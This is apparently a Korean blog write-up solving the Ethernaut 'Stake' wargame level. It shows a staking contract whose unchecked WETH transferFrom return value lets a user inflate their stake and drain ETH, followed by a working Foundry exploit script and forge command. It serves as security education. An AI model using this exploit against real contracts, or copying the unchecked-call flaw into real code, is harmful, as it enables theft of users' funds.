// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;
constructor(address _weth) payable{
totalStaked += msg.value;
WETH = _weth;
}
function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}
function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
}
거의 1년만에 Ethernaut 문제가 나왔다. 퇴근하고 후딱 풀이를 작성한다.
이 문제의 목표는 https://github.com/OpenZeppelin/ethernaut/blob/a89c8f7832258655c09fde16e6602c78e5e99dbd/contracts/src/levels/StakeFactory.sol#L19 이 조건을 통과하면 된다.
StakeWETH()
를 보면 raw call로 WETH와 상호작용을 하는데 transferFrom()
의 return 값을 검증하지 않는 것을 볼 수 있다. 즉, WETH 전송이 실패하여도 revert가 발생하지 않는다는 의미이다. 이를 통해 UserStake
값을 무한으로 늘려 Stake
컨트랙트가 보유하고 있는 모든 ETH를 drain 할 수 있다. 컨트랙트가 보유하고 있는 ETH는 없기 때문에 문제 목표 조건을 통과할 수 있게 피해자 staker를 만들어 조건을 통과하면 된다.
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import "../src/stake.sol";
interface IERC20 {
function approve(address, uint256) external;
}
contract StakeSolver is Script {
Stake stake;
IERC20 WETH;
function setUp() public {
stake = Stake(address(0x6cb822c0d1f2B8693B74a140A434bfb87f9f80a9));
WETH = IERC20(address(0x000000000000000000000000c5fa7a325011a462ad1048cfd74eee0a412d6302));
}
function run() public {
vm.startBroadcast(uint256(PV_KEY));
new Ex{value:0.0011 ether}(stake);
WETH.approve(address(stake), 0.00101 ether);
stake.StakeWETH(0.00101 ether);
stake.Unstake(0.00101 ether);
}
}
contract Ex {
Stake stake;
constructor(Stake _stake) payable {
stake = _stake;
stake.StakeETH{value: msg.value}();
}
}
forge script --fork-url $RPC_URL --broadcast script/StakeSolver.s.sol:StakeSolver
위 코드는 solver 코드이고, 문제를 해결하였다.